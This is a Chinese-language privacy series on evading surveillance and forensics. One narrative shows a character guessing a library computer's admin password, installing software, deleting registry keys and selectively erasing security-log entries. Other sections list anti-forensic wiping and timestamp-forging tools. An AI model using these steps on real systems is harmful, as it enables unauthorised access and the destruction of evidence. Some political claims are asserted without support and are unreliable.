- 《如何做到完美隐身：技术增值部分—最简单的分身方法（4）》
- 《妈妈说，操作安全永远不能被忽视—匿名工具：小白级指

南》
- 《增强匿名性的简单方法》
- 《这些使用暗网的人是如何被抓到的？》
- 《最惨痛的匿名失败教训：这些人是如何被捕的？》
- 《如何快速创建一个假人？简易版分身术》
- 《移除你的绵羊墙：给普通人的5个防御课程》

4、Elliot 知道如何在网上保持匿名，并且擅长信息收集 —— 信息收集是决胜的根基，但必须在操作安全的基础上，否则就是陷阱。

- 关于匿名技巧，见我们的 “技术防身” 栏目；
- 关于数据收集的各种技巧，见 “开源情报” 栏目

5、Elliot不使用任何社交媒体；他知道所有社交媒体都是坑。

- 如果您必须使用社交媒体，那么请做到《如何建立一个匿名社交媒体账户以保护个人数据的私密性？》
- 尤其是操作安全方面《使用社交媒体时你必须注意什么？ 》

6、他用一条胶带覆盖了笔记本电脑网络摄像头，以防止其他黑客监视他。这种极简的方法如今应该已经被大规模普及了。

7、他并没有束缚自己的大量物资，尽管物资与可追溯性几乎没有*直接的*关系，但是，你生活中的牵挂越多，就越难以快速脱身 —— 而在任何保护性行动中，时间都是生命线。就如我们曾经在 “完美隐身” 系列中所强调的那样。在下面回顾：

- 《如何做到完美隐身：直面你的对手—6大原则（1）》
- 《如何做到完美隐身：追踪者的手段和你的弱点（2）》
- 《如何做到完美隐身：思考方式是战略性的（3）》
- 《如何做到完美隐身：技术增值部分—最简单的分身方法（4）》
- 《如何做到完美隐身：清扫和清点—信息篡改的重要步骤（5）》
- 《如何做到完美隐身：令人兴奋的心理过招（6）》
- 《如何做到完美隐身：扫荡危险区域（7）》

事实上在这部剧中，您还可以从其他角色示例中汲取灵感和技巧；不管是攻还是防。

很多有用的技巧、隐私和人身安全策略，您会注意到它们的 —— 从

互联网到物联网、从诱导到操纵，几乎都涉及，也许您希望尝试一下。

以上列举多得多不是全部（分析全部就要剧透啦）本系列内容将尽可能涉及 “全部” —— 也就是说作为互联网世界中的人，您最有可能遇到的危险。如果您对相关攻防知识感兴趣，请不要错过我们的专栏：“个人安全防御技巧”、“社交工程攻防技巧”、“开源情报调查演示和工具介绍”。

卫星不断监视着您

「图」

卫星技术已经开始变得更便宜，全球各地的公司和政府机构都在努力将侦察卫星部署到近地轨道（LEO）外太空。

“美国联邦法规将商业卫星拍摄的图像的分辨率限制为25厘米或大约男人鞋子的长度（军事间谍卫星可以捕获更细粒度的图像）”

- 《卫星已经开始观察你的每一个动作》

众所周知政府可以随时随地监视你，并且现在商业观测卫星已经填满了整个天空。一些拥有卫星的公司正在出售长达90秒的“高清视频片段”。

一家名为 EarthNow 的公司表示，将提供“连续实时”监控，“延迟时间短至大约一秒钟……”，这已经对现实生活中的个人隐私构成了巨大的威胁。

这些人正在出售绝对会被滥用的技术。现在来不及担心数十亿的闭路电视摄像头和连接家庭WiFi监视器了，绕轨道运行的卫星可以昼夜监视你。最糟糕的是，你完全无能为力。

但是社交媒体也是如此...

「图」

我们分析过 Netflix 的纪录片“ The Great Hack”是个洗地作品，它将监视资本主义的本质转嫁到一家第三方公司身上 —— 并且还拒绝承认该公司（**Cambridge Analytica**）本身就是英国国防部的一部分。

- 《Netflix 的 “The Great Hack”是一部愚蠢的误导性纪录片》
- 为什么剑桥分析公司不是重点？《秘密宣传战网络》
- 剑桥分析公司不仅仅是一家公司，而是政府国防机构的一部分，这就是为什么该公司可以迅速通过解散来避免被深究，并且，迅速组成新公司。在这里看到幕后黑手《心理操纵的秘密》

不过可以肯定的是，这部片子对于很多仍在鼓里的人来说依旧是有用的，至少它介绍了 Cambridge Analytica 如何收集数据、并使用其数据操纵选举。

但是，聪明的您必须知道，这只是冰山顶上的一块石头而已。

它也足够能提醒，这个世界上有如此多的贪婪之徒，他们可以为了钱做任何事。那就是监视资本主义的本性。

这也是为什么说您必须也只能立即采取措施以保护自己，否则必定会以各种你想不到的方式成为受害者。

您无法防止数据收集公司的数据泄露，但是您可以尝试控制被收集的数据类型，从而使监视资本家更加困难。

如果直到如今，互联网上依旧能找到您的真实身份或重要的身份线索，那就是非常危险的；任何了解 “开源情报” 追踪的人都不会对此表示怀疑；还有您的家人，尤其是无辜的孩子，您需要保护他们所有人。

- 查找有关自己的一切，迅速删除任何踪迹，方法在这里《自我人肉》
- 针对社交媒体的清洗《社交媒体情报和反情报基本工具手册：自我人肉（2）》

请向您的孩子解释监视资本主义世界幕后发生的事，帮助孩子有意识地控制在互联网上泄漏的敏感个人信息。

- 《别让你的孩子深陷1984》

各地正在加紧制作隐私法案，但你必须知道，立法者基本都不懂技术，他们很容易被寡头企业忽悠，其结果是，法律很难保护你。因为仅仅强调隐私是不够的。

这里是解释：

- 《以隐私为目的的斗争如何让你变成了监视的盟友》
- 《隐私法案管不住寡头企业，怎么办》
- 《为什么隐私保护法规并没能起到作用？》
- 《为什么说欧洲新法规反而会加强 Facebook 和Google 的霸权？》

隐私策略，技术和程序

「图」

毫无疑问。云不是你的朋友，它是监视的盟友。

- 《大型“云”供应商时代的审查制度：集中化毁掉互联网自由》
- 《去它的云计算吧～ 创建属于我们自己的国土；推荐非暴力直接行动的终极形式—— 为自由而战（三）》

请记住，您作为用户，对云的控制为零，这尤其意味着您不应该信任云。

它本身就可能很脆弱，您甚至都不知道。您只会在数据泄露新闻登上头条之后、或者在您的身份被盗并且银行帐户被清空之后，才开始毛骨悚然。

我们介绍过无数保护隐私的个人技术方法，但是，如果您的信息已经上传到任何一种 “云”，那么所有这些自检清理的防御方法都不再有效 —— 你删不掉的。

Google、Dropbox、Amazon 或 Microsoft 的管理员才有权那么做。就像 MySpace 的管理员滥用其“霸王”工具来监视社交媒体平台的用户一样，每个C-SP 和社交媒体的管理员也具有执行相同操作的工具。

您永远不会知道这些公司何时会与执法机构或政府间谍合作，共享您的个人 Cloud 存储文件或社交媒体内容 —— 中国用户更应该明白这个道理，苹果把密钥都交给中国政府了。

那么你应该怎么做？

「图」

这里是最基本的。

1）本地备份。将数据本地备份到硬盘驱动器（HDD）本身（为此几乎不需要额外的工作）。

如果您在计算机系统上安装了分区或一个以上的HDD，则将主HDD设置为固态硬盘（512GB），其中的数据主要存储在使用全盘加密（FDE）保护的HDD上，使用诸如 Veracrypt，BitLocker 之类的东西，或 dm-crypt / cryptsetup 或 Linux 机器的 Linux 统一密钥设置（LUKS）。

如果辅助驱动器（例如，CPU D：\ 或其他）具有足够的大小（即 2–3 TB），并且已正确配置了备份任务计划，则可以用来存储C：\自动数据备份，在一段时间（例如6到12个月）后，擦除旧的数据备份。

关于全盘加密，参见以下的用例和注意事项：

- 《当你手握真相：最基本的防护知识(1)》
- 《清空废纸篓无法真正"删除"文件，如何彻底删除以抵制任何取证工具？》
- 《攻击加密系统的多种形式和防御方法》
- 《集会参与者有必要了解的基本安全措施》
- 《如何安全地留住证据：给真相的记录者一些技术技巧建议》

2）异地备份。每月备份在一个断开连接的外部硬盘驱动器上；将外部硬盘安全地存储在法拉第袋子中也是好主意，以防止高海拔电磁脉冲（HEMP）的影响。

3）在线备份。首先应使用 Veracrypt 或其他某种加密应用程序对数据进行加密，然后再使用传输层安全性协议（TLS）v.1.3 将数据安全地上传到信誉良好的平台。

为了确保没有人可以窥探您的数据，除了C-SP使用的DaR加密之外，您还需要使用您自己的加密（即 Veracrypt，BitLocker，LUKS）对其进行了双重加密。

不建议您创建自制的加密，而是使用自由开源软件（FOSS）软件（例如 Veracrypt）来加密文件。

低技术安全性：规避和匿名提示

「图」

正如我们此前强调过的：威胁建模非常重要。您要提防的人是谁、什么东西最值得您保护、您的对手有什么样的技术能力、您有哪些优势能抵御对手？等等，详见：

- 《了解自己的状况是保护安全的第一步》

尤其是，采取对抗性思维模式将帮助您像敌人一样思考，这样做才能真的保护自己最宝贵的资产和信息。

隐私是一项艰苦的工作，这个集中化的互联网上的默认隐私状态为零！您必须努力做到这一点，以实现某种相对安全性、并保持住它。

安全永远是相对的，只要是有足够庞大的资源和技能的对手，我们曾经介绍过的所有技巧和技术都可以被击败。但是，任何一种专注的保护工作都能给您带来回报，只要您抢在前面，就能给对手制造足够大的难度。

Trust No One. Verify Everything. Leave No Trace. —— 这是您应该拥有的健康的偏执。

「这里是第一部分内容」

—— 未完待续 ——

原文

与S先生共度美好一天-反取证技巧：变得难以被追踪的简单方法（3） - iyouport

难以被追踪难以被追踪（完成）

【2020年4月17日存档】有多少追踪方法，就有多少反追踪方法

如果您还没有读过本系列前面的内容，在这里看到：

- 《在不自由中创造自己的自由：变得难以被追踪的简单方法（1）》
- 《构建防御直觉是生存的基本功：变得难以被追踪的简单方法（2）》

> 孙子曰：微乎微乎，至于无形；神乎神乎，至于无声，故能为敌之司命。“Subtle and insubstantial, the expert leaves no trace; divinely mysterious, he is inaudible. Thus he is the master of his enemy’s fate.”

S先生乘坐1986年的老吉普车CJ-7来到公共图书馆。

作为一个务实低调的人，他更喜欢可靠的老古董车子，这类汽车不依靠计算机芯片来运行，并且速度也足够快。

- 《小心你的汽车变成间谍：如何从联网汽车中删除个人隐私数据？》

S先生喜欢书，他每周要去图书馆两次，以便在公用计算机上检查他的电子邮件，并交换他已经阅读过的书籍选择新的书。

图书馆的停车场在建筑物的屋顶上装有闭路电视（CCTV）摄像头，可以捕捉包括S先生在内的所有进出的车辆，但由于S先生的车子很脏、车牌上沾满了泥土，所以无法很好地读取车牌。

不过要知道，在某些国家，车牌不干净是非法的。所以，避免车牌阅读器监视的方法应该不是遮盖，而是欺骗。比如这样：

- 《如何愚弄自动车牌阅读器？》

不止车子，摄像头还捕获了S先生走进图书馆正门的情景 —— 他的脸，但由于S先生戴着红色球帽、帽沿上带有微型的LED灯，并用白色字母和墨镜模糊了他的脸部轮廓，可以欺骗面部识别算法。

还有很多有效的做法，具体见下面：

- 《让面部识别失效的思考方式》

S先生是活动家，他是抵抗地方和中央政府权力超限的社会运动的一部分。他珍视自己的隐私，并且不喜欢被政府收集有关他生活习惯的任何信息，例如他从图书馆借出的书。

除球帽外，S先生的衣服没有任何特征，以致于不会以任何方式脱颖而出。

这很重要。而且不止衣服，请注意下面这些提示：

- 《反侦察：除技术之外你还应该注意诸多重要的细节问题》
- 《在反侦察的过程中您应该注意哪些陷阱？》

S先生将他的书放在车上，走过去坐在一台提供免费互联网访问的公用计算机前。

这是他经常访问的几个图书馆之一，S先生已经确定了所有闭路电视监视器的位置，并选择了一台其显示屏不在监视器视野范围内的可用计算机。

请注意这是一整套技巧，您首先需要知道的是您在监视者眼里是什么样：

- 《用“眼”识人：你想知道自己在一个“间谍”的眼中是什么样吗？》
- 《在你的日常生活中应用隐蔽野战技术：简单方式抵御敌对监视》

S先生在图书馆计算机上打开了默认的浏览器，恰好是 Internet Explorer 版本11（即 11.285.17134.0），因为该计算机仍在运行

Windows 7。在公共场合这是非常普遍的现象。

这个图书馆几年来一直没有获得必要的资金来升级其15台公共计算机。

IE版本11就像Web浏览器的老旧汽车。它存在漏洞，容易受到多种未修补漏洞的攻击，并且由于自2016年1月12日起不再受到 Microsoft 的支持而完全无奈。*IE 11 Common Vulnerabilities & Exposures; courtesy of the MITRE Corporation*

如果管理员尚未禁用此功能，S先生的第一步就是清除浏览器历史记录、缓存和**cookie**。

通常，公共图书馆的计算机都处于锁定状态，因此它们受到严格限制，以防止人们不当地使用它们。

接下来，S先生导航到 Gmail，并创建了一个一次性电子邮件帐户（garbage2434234@gmail.com），专门用于注册 “Hide My Ass” 虚拟专用网络（VPN）的7天免费试用。

私人电子邮件可能很危险，您可以通过下面的内容了解大概：

- 《如何仅仅通过电子邮件挖到你的电话号码：一种新的开源情报追踪方法》
- 《如何只用电子邮件地址追踪到 Twitter 帐户？》

关于如此使用安全的一次性电子邮件账户：

- 《如何建立一个匿名社交媒体账户以保护个人数据的私密性？》

不要直接使用公共计算机登陆您的私人电子邮件，也不要直接录入任何真实的私人信息；但必须知道，容易隐藏身份的最佳选择恰恰是公用计算机 —— 如果您已经被瞄准了并正在计划撤退路线，它就是个好选项。前提是您能做到S先生这样。还记得我们的 “完美隐身” 系列吗？这里有7篇文章的完整列表。

一旦建立了可随时丢弃的电子邮件帐户，S先生就将假信息输入 HideMyAss VPN 7天试用网页注册中，以包括他较早前用现金购买的预付礼品卡中的付款信息。

如果您不方便用现金买礼品卡怎么办呢？别忘了以下小技巧：

- 《5个信誉良好的一次性信用卡号服务：隐藏您的真实身份信息》
- 《3种最佳虚拟借记卡服务：支付中隐藏真实身份》

由于这是一张礼品卡，S先生将伪造的地址以及他新建立的一次性电子邮件地址输入到地址字段中。

他尝试打开命令提示符，发现他没有打开命令提示符应用的权限。S先生熟悉Windows操作系统，于是搜索 PowerShell 以获得完全访问。

S先生键入“ **ipconfig / all**”，并记下了他正在使用的图书馆计算机当前未受保护的以太网适配器IPv4地址。然后使PowerShell窗口保持打开状态。*PowerShell example of the “ipconfig /all” command*

同时，信用卡注册成功完成，S先生可以选择将VPN软件下载到计算机。他尝试这样做，并且能够将程序文件下载到桌面，但是很快发现，他被阻止启动程序可执行文件（.exe）。

S先生收到一条错误消息，指出此操作需要提升的权限。

S先生决定尝试猜测管理员凭据，然后右键单击可执行程序文件，选择“以管理员身份运行”选项。

S先生仅几次尝试便成功猜出了密码。原来是 P@ssW0rd123……看起来管理员是个很懒的家伙。

然后，他继续安装自己下载到计算机桌面上的 HideMyAss VPN 程序。

这花费了大约5分钟的时间，现在S先生可以从公共图书馆的计算机上匿名上网了。*HideMyAss Virtual Private Network (VPN) service; image courtesy of HideMyAss.com*

一旦VPN运行正常，S先生通过cmd打开命令行窗口输入 ipconfig /all 验证了新IP地址，然后重新启动 Internet Explorer 11并继续打开其实际的电子邮件，ProtonMail 帐户（ProtonMail提供自己的VPN服务，但需付费，出于本示例的目的，选择突出显示 HideMyAss）。

ProtonMail 帐户为“ JackerCrack911@protonmail.com” —— 请注意，他的真实身份从来都不是其电子邮件地址的一部分。

现在，他还知道管理员密码，这将使他在用完后更容易擦除踪迹。

S先生检查了他的电子邮件和个人银行业务站点、以及其他一些站点。如果他未能公共图书馆计算机上使用VPN，浏览这些敏感网站是很危险的。

当然，更好的方法是**Tails**，装在**USB**里挂在钥匙上。

- 更多《安全手册》

在网上冲浪大约20分钟后，S先生关闭了网络浏览器。但是在关闭之前，S先生仔细清除了浏览器的搜索历史记录、清除cookie和缓存。

他还删除了 **Pagefile.sys**、**swap** 和 **thumb** 文件的内容，因此，如果没有高级**IT**取证软件工具和技术，否则无法轻松恢复其浏览历史记录。

- 《数字取证正在泛滥：政府可以从你的手机中提取哪些数据？》

S先生随后终止了VPN连接并卸载了 HideMyAss VPN 软件。

他从 C:\ProgramFiles 目录中删除程序文件，然后在 Windows 搜索栏中键入“ regedit”，然后选择“以管理员身份运行”。

他输入适当的管理员帐户登录凭据，该凭据之前已被他成功地猜中，并且 “注册表编辑器”模块打开。

接下来，S先生导航到 “Computer\HKEY_LOCAL_MACHINE\SOFTWARE” 他找到并删除了 “HideMyAssVPN” 软件注册表项。以下是微软介绍的步骤：

> *“You can omit registering an application by removing the RegisterProduct Action, RegisterUser Action, PublishProduct Action, and PublishFeatures Action from the InstallExecuteSequence Table and AdvtExecuteSequence Table. All of these actions must be removed, or some trace of the application may remain in the registry. Removing all of these actions prevents the application from being listed in the Add or Remove Programs feature in Control Panel, and prevents the advertisement of the*

> *application. Removing all of these actions also prevents the application from being registered with the Windows Installer configuration data. This means that you cannot remove, repair, or reinstall the application by using the Windows Installer Command-Line Options, or the Windows Installer application programming interface (API).” ~Microsoft Docs*

S先生然后通过在Windows搜索栏中键入“事件查看器”并右键单击该应用并选择 “以管理员身份运行” 来打开Windows事件查看器。

他再次输入管理员帐户登录凭据，然后选择 “Windows日志”、“应用程序” 选项。然后，他向下滚动以查找由安装 HideMyAssVPN 应用程序和卸载程序所生成的 events。

接下来，由于S先生使用管理员帐户完成了这些操作，因此他将打开安全日志，并 *仅* 删除与其操作相关的事件。千万不要删除整个日志哦，那样就是此地无银了。*Windows Event Viewer Application Log example*

毋庸置疑，以上是假想事件，尽管所有这些操作都可以执行，但普通用户不一定就能如此成功猜测管理员帐户密码并能够擦除其记录。

如果您感觉此示例过于繁琐、过于详尽、或过于技术性而难以执行，也并不需要灰心丧气，但这确实表明您可能尚未完全意识到 **要变得几乎无法被追踪** 所需要实际努力。

⚠要变得几乎无法追踪并不容易，而且您必须熟悉技术，才能在一定程度上了解计算机系统和网络的运行方式。

您能够在 **Mac** 或 **Linux** 操作系统上执行相同的操作吗？您是否知道在哪里可以找到文件甚至文件的名称是什么？而且您还应该注意到，**VPN**本身有可能存在不安全因素。

- 《警惕恶意 VPN》
- 《VPN？入侵？比特币？俄罗斯攻击者究竟是怎么被发现的？》
- 《你认真考虑过 VPN 的安全性吗》
- 《如何验证您的 VPN 连接是否安全？》
- 《什么时候你需要VPN？》

数字取证

「图」

Hex Editing; Image courtesy of SANS DFIR

我们介绍过数字取证，包括它目前的使用有多扯蛋，以及上传了两本书和一个手册，见《数字取证正在泛滥：政府可以从你的手机中提取哪些数据？》。

尽管有关数字取证的内容的完整介绍不在本系列的讨论范围之内，但也许依旧有必要简单说说，有些方法和工具可用于恢复已删除的文件并从计算机系统和硬件中提取关键信息。

如果调查人员能够确定S先生已下载并安装了 HideMyAss VPN，那么他们还可以获得令该VPN服务提供其日志副本的授权书，作为数字取证调查的一部分，以对他提起诉讼。

即使您认为自己在网上完全无法被追踪，依旧会有很多坑可能你尚未想到，不论是本地计算机、网络上那堆寡头公司、还是ISP，都可能出卖你。

因此，⚠一个人永远不可能变得完全无法追踪 —— 但是，你能做到尽可能地难以被追踪。这样就足够甩掉大部分监视者。还是我们在“完美隐身”中强调的思路：玩死对手，耗尽他们的财力和精力，你就赢了。

数字法证学调查的主要目标是犯罪嫌疑人，而起诉方必须能够证明数字证据来自据称被犯罪嫌疑人使用的计算机，并且数据是精确的比特流副本。

再一次，请阅读我们在 **telegram** 频道中上传的三份资料，熟悉这些知识，一旦您遭遇冤狱，您和您的律师应该知道该怎么辩护：

- 您的手机和电脑如何作为呈堂证供：https://t.me/iyouport/6313；
- 另一本书：https://t.me/iyouport/6315；
- 一本手册：https://t.me/iyouport/6419

这些资料讲述的是专业的数字取证技术，通过它们，🌤您将能知道数字取证都考虑哪些方面、如何串联信息、如何形成证据以协助法庭定

罪。于是您能知道该避免什么、如何避免。

反取证技术与对策

「图」

Anti-Forensics Extended Taxonomy; M. Rogers & the 16th Annual USA Digital Forensics Research Conference

想要做到难以被追踪，就要首先认识到。⚠那些知识丰富和经验丰富的IT专业人员 —— 尤其是执法数字取证调查员和情报机构网络分析师 —— 他们拥有各种方法、技术和工具，可以恢复删除的文件，可以跟踪您的在线活动，并帮助发现您的真实身份。

易于追踪监视就是这个集中化互联网的本性。不止是专业技术人士，就连普通人也可以做到在一定程度上追踪监视某些目标，熟悉 “开源情报” 调查的任何人都不会怀疑这点。

您需要保持对这一事实的认识，并据此进行操作 —— 这一领域有多致力于取证工具的设计，就有多致力于反取证工具的设计，后者这些工具专门用来打败取证工具。

接下来看一下有哪些可用于帮助实现在线不可追溯性的技术和工具。

1、数据隐藏

「图」

数字隐写术先前已经多次讨论过，可以通过将机密数据嵌入和加密在其他载体文件中（例如图像、文本、视频和音频文件）来隐藏数据。您可以在下面回顾：

- 《隐写术的小心机（1）》
- 《使用隐写术发送秘密消息（2）简易教程》
- 《构建你的自定义OSINT机器（第二部分）》

只要找到支持它的隐写术应用程序，几乎任何类型的文件都可以用于隐藏数据 —— 并且有**1100**多种，找到它并不难。

密码术是隐藏数据的另一种方法，以前也多次介绍过。当然，总是会建议您在硬盘和电话上使用全盘加密（**FDE**）（包括**SD**卡）。但是真

的有许多隐藏数据的方法。

如下表所示的打包程序和捆绑程序将可执行文件压缩为其他类型的文件，并将它们绑定在一起，这也使得可执行文件更难被进行反向工程。*List of Executable Packers; courtesy of Wikipedia*

Rootkit 就是通过这种方式形成的。 Rootkit 基本上是一种恶意软件，它由“一组程序和代码组成，它们允许在计算机上进行永久或一致的不可检测的[root级访问]（Donzal，2005年）。”

Rootkit 有时也被执法部门甚至公司IT部门用于远程访问/监视目的。

由于它们被隐藏并深埋在防病毒软件可能无法扫描的计算机操作系统文件中，并且具有多态性，因此检测非常困难。

通常，rootkit不会像蠕虫一样自我传播。可以通过单击电子邮件或网站上的恶意链接，将Rootkit下载到目标的计算机上，该恶意链接在打开您想查看的链接的同时，也开始悄悄地下载所谓的“dropper”文件。

此外您可以在这里下载一本书《恶意软件、Rootkit 和僵尸网络：初学者指南》：https://t.me/iyouport/6504

2、反取证擦除

「图」

如果计算机上有您无法找到的敏感信息，可以对计算机进行编程以自动擦除整个操作系统。执行后它将自动开始删除文件，从而使取证调查员的工作更加困难（如果不是不可能的话）。

不过如果您忘记了正确的启动顺序，这也会给您带来麻烦。最好有备份！

如果调查人员注意到了正在发生的事，那么他们也许可以迅速关闭系统，但是至多，他们只能得到部分数据。

反取证擦除工具，例如在 Kali 或 Black Arch Linux OS 发行版中发现的一些工具，SRM、Wipe、Overwrite、DBAN、BCWipe、Eraser，R-Wipe、DiskZapper、Cryptomite 或 Evidence Eliminator，都将能有效删除并覆盖内存使其无法恢复。

更多详见：

- 《清空废纸篓无法真正”删除”文件，如何彻底删除以抵制任何取证工具？》

3、足迹混淆

「图」

想象一条狗正在追踪你。它们熟悉你的气味。你用香水、臭鸡蛋、薄荷叶……糊了一身，狗就找不到你了。

混淆就是这样的逻辑，在网络上植入关于您自己的虚假信息，以使您摆脱追踪者的嗅觉。

从这个意义上讲，它涉及使用复杂的工具来修改有关您的活动的数据。

例如，删除日志、在访问系统或网站时使用袜子木偶身份、故意提供错误信息、使用分身帐户、提供IP地址跳跃（**Tor**，**I2P**，**FreeNet**），使用**Timestomp** 或 **Transmogrify** 等工具修改时间戳及元数据和文件头信息。

- 关于袜子木偶的做法《如何快速创建一个假人？》
- 关于不同身份《角色扮演》
- 关于分身术《分身术完整指南：妥善管理您的在线身份并获得安全的方法》
- 关于**Tor**《使用 Tor 保护自己时千万不要做这九件事！》
- 关于元数据擦除《都是工具，从自我保护到有效利用—— 亦正亦邪元数据 (下篇) 熟练使用它们是数字公民的基本功》

从所有这些取证/反取证思考中要记住的一点是，变得难以被追踪比您最初所认为的要困难得多。在此，技术经常不站在你一边。

并不是说技术很糟糕，但是，大多数技术的安全性方面还很不完美，而且我们还没有弄清楚如何把漏洞补上。

⚠必须强调的是，要变得难以被追踪，首要条件是人们如何思考和看待世界的精神成分 —— 你需要知道追踪者的思考方式，然后才是虚拟或网络空间的技术成分。如果您知道如何做的话，就会发现不难做到。

当你熟练于此的时候就会有更多的信心。信心会给你勇气和力量。保持低调，继续让自己成为堡垒的主人。〇

—— 未完待续 ——

原文

保持零信任：变得难以被追踪的简单方法（4）- iyouport

难以被追踪难以被追踪（完成）

【2020年5月22日存档】不要指望法律保护你。能保护你的人只有你自己。

还记得本系列此前的内容吗？您可以在下面回顾：

- 《在不自由中创造自己的自由：变得难以被追踪的简单方法（1）》
- 《构建防御直觉是生存的基本功：变得难以被追踪的简单方法（2）》
- 《与S先生共度美好一天—反取证技巧：变得难以被追踪的简单方法（3）》

越来越大的难度

「图」

我们的主题是“难以被追踪”，而不是“免于被追踪”。因为如果想要做到“免于”，您首先就要做到避免遇到任何监视追踪设备。这在如今是完全不可能做到的。

只要你走出家门，每个角落都隐藏着监视摄像头和注视的眼睛。也许您认为自己远离城市呆在沙漠里或大草原上，似乎就没有监视器了？错误。太空中卫星每时每刻都在监视着整个地球上的一切，这些卫星具有令人难以置信的强大变焦能力，可聚焦到1米（即3英尺），并且图像分辨率很高。

政府间谍可以把卫星记录下的一切都拿走。

在下面看到一个非常棒的纪录片模版，是对此的介绍：

- 《上帝之眼：一个没有秘密的世界意味着什么？》

- 这是简介《卫星已经开始观察你的每一个动作》

您是否认为卫星仅用于通信网络和全球定位系统（GPS）三角测量？再次错了。间谍卫星是真实存在的东西。而且很多。

有时，那些充满敌意的眼睛属于人类，这就是最常用的人力监视 —— 我们目前仍认为当权者不会放弃人力监视，因为它调动灵活、敏感性强、针对性高。它会和各种技术搭配使用，几年内不会被技术所取代。

这就是为什么我们推荐了针对人力跟踪监视的逃生方法：

- 《在你的日常生活中应用隐蔽野战技术：简单方式抵御敌对监视》

也有时，这些眼睛是监视摄像机的镜头，通过它们，人眼可以远距离观看现场，包括稍后回溯重播视频。

以上仅仅是指户外。如今越来越多的是，那些充满敌意的眼睛就在您自己的家中 —— 在您的房屋中安装监控摄像头时、在您忘记在电子设备摄像头上贴黑胶布时、当你安装的所谓“智能”家居存在你不知道的隐藏摄像机时……

不仅是看，还包括记录：这些东西正在作为将您定罪的证据。在下面看到：

- 非常推荐读完《你家冰箱如何作为呈堂证供？》

总部位于意大利的 Hacking Team 设计的各种黑客工具专门出售给世界各地的政府和执法机构，使他们能够入侵目标受害者的手机、计算机甚至家庭Wi-Fi监控系统；以色列NSO有多恐怖就更不用说了。

在下面看到专栏：

- 《关于 Hacking Team》
- 《关于以色列和NSO》
- 关于全球监控系统的出售和使用报告，在这里找到 “长读” 栏目：

https://start.me/p/1kod2L/iyp-direct-action-5

再次强调：Wi-Fi是一种非常不安全的协议，但是监视资本家设计全

世界的智能手机都必需使用它上网。

☞关于**Wi-Fi**，您必须知道的事：

- 《Wi-Fi是如何出卖你的？》
- 《为什么你不应该使用Wi-Fi》

那些家用监视摄像机可以对您很不利，尤其是通过Wi-Fi连接时。也许你认为监视器对于家庭安全来说不是个坏主意，但是，请要小心它们会曝光你。

对此感兴趣吗？可以参见一个工具。亲手玩一下吧，您会理解为什么：

- 《搜远程桌面、摄像头、打印机、家用设备 … 等一切的超级Shodan搜索：恐怖指南》

☞监视在21世纪是无处不在的，这已经没有任何疑问。如果您居住在美国、中国、英国、印度、俄罗斯 …… 等国家，那么你肯定知道，你的政府始终会认为隐私人权远不如所谓的国家安全更重要。在下面看清：

- 《您应该了解的政府监视项目》

几乎每天都有新闻曝光政府如何践踏公民的隐私人权、一个新的大规模数据泄露事件、或另一个配置错误的 Amazon Web Server（AWS）被盗。

是的，变得 “难以被追踪“ —— 也就是保护您的基本人权 —— 已经变得越来越难。虽然这并不意味着完全不可能，您应该尽可能尝试、尽快地尝试保护自己。尝试活得像个人。

我们不是顽固的技术反对者

「图」

很多技术都是双刃刀，可以用于善恶两种目的；就如面部识别，在政府间谍手里被用来追踪镇压抗议者，在公民社会手中用来寻找失踪的儿童和老人；

- 在政府手中时《我被警察折磨至精神崩溃：现在我必须爬起来战斗》

- 在公民手中时《如何使面部识别技术为公民所用？- 开源情报方法》

再如AI和大数据，在政府手中就是民主终结者，在公民手中就是直接行动的武器。

- 在政府手中《看不见的政变》《为什么必需拒绝大数据—— 监视之恶（二）公私监控伙伴关系》
- 在公民手中《迎接更多的“巴拿马文件”》

⚠这就是为什么我们强调：只有技术是民主的，社会才能是民主的。公民掌握技术以构建自己想要的社会，这是非暴力直接行动的最佳方式。

也是为什么我们始终认为 “开源情报” 和透明度革命都是直接行动。

当人们不断被当权者欺骗的时候；当不断有人被抓捕却对抓人手段一无所知的时候；当信息战狂热将民主逼上死角的时候 …… 公民掌握侦查的能力就是改变世界的直接行动。

同样，没有任何当权者不撒谎，因为权力就构建在谎言之上。他们几乎隐秘一切，同时只让你看到他们希望你看到的东西。这种情况下公民发起的透明度革命就是亲手打造自己想要的世界。

这需要强大的技术能力，如您所知 —— 异议不是反抗，反抗不是直接行动。异议可能不需要技术技能（如果您不担心被捕的话），但反抗肯定需要，直接行动则非常需要、而且是更丰富的技术技能才能满足。

简单说，如果您和您的组织尚未精通，那就无法真的开始。请随时记得这是21世纪智能镇压时代。还需要*5 ~ 10*年？

别指望法律

「图」

生活在数字时代你需要能随时记得，你眼前的几乎一切都被永久性在线了，你的一切都在被收集、被分析、被储存、被出售、被用来指控你、作为把你扔进监狱的证据。

即便如此，目前为止仍然很少有人选择反对这种做法。

例如，最简单的，除非您同意允许 Cookie，否则许多网站将不允许您访问。再比如，用Tor保护自己的人被大量热门站点所排斥，被认为“可疑”，被视为“互联网二等公民”。

这就是监视资本主义的世界 —— 它阻止你逃离地狱。

寡头技术公司、电话服务公司、和互联网服务提供商（ISP）受益于宽松的甚至完全不存在的法律，完全不受阻碍地继续运作这个地狱。您可能很难依赖法律来保护你，因为立法者是权贵，他们从这个地狱生态中受益。

几乎没有任何人可以阻止这种情况的继续，因为互联网法规仍然是狂野西部，并且具有严重的地理限制 —— 记得吗，硅谷寡头的口头禅“我们在遵守当地法律”。不论是帮助追捕异议人士还是将密钥交给政府，使用的都是这个借口。

但你完全可以做的是，努力使自己成为捍卫自己人权的卫士。

众所周知在现实中您的身份的至少一部分被视为公共资产，正因此，在在线情况下您应该积极搜索自己的任何信息并及时删除或尝试最小化其在线状态。这就是我们强调的自我人肉和大清洗。

- 《自我人肉（1）》
- 《社交媒体情报和反情报基本工具手册：自我人肉（2）》
- 《如何躲避监视追踪？大清洗：反侦察的第一步》

正如本系列持续强调的那样，这不是一件容易事，您需要特别的努力；但它真的有效，而且有可能是唯一有效的，能让你活得像个人的方法 —— 让自己成为你的对手最头疼的威胁，变得难以被追踪。

隐身模式：「ON」

「图」

防御主机 (Bastion host) 指的是经过专门设计和配置以抵抗攻击的专用计算机。该计算机通常承载单个应用程序，例如代理服务器，并且所有其他服务都将被删除或限制以减少对计算机的威胁。

在其两边都有防火墙（面向Internet和面向组织）并且所有不必要的服务和端口均已删除并关闭。

这是一个比喻。为了变得难以被追踪，您必须努力成为 **Bastion** 的宿

主，并将所有不必要的暴露风险最小化。

☞将这点与日常生活联系起来，意味着您需要至少采取以下行动：

- 从互联网上尽可能删除所有个人身份信息（PII）；
- 冻结您的信用记录档案并设置欺诈警报；
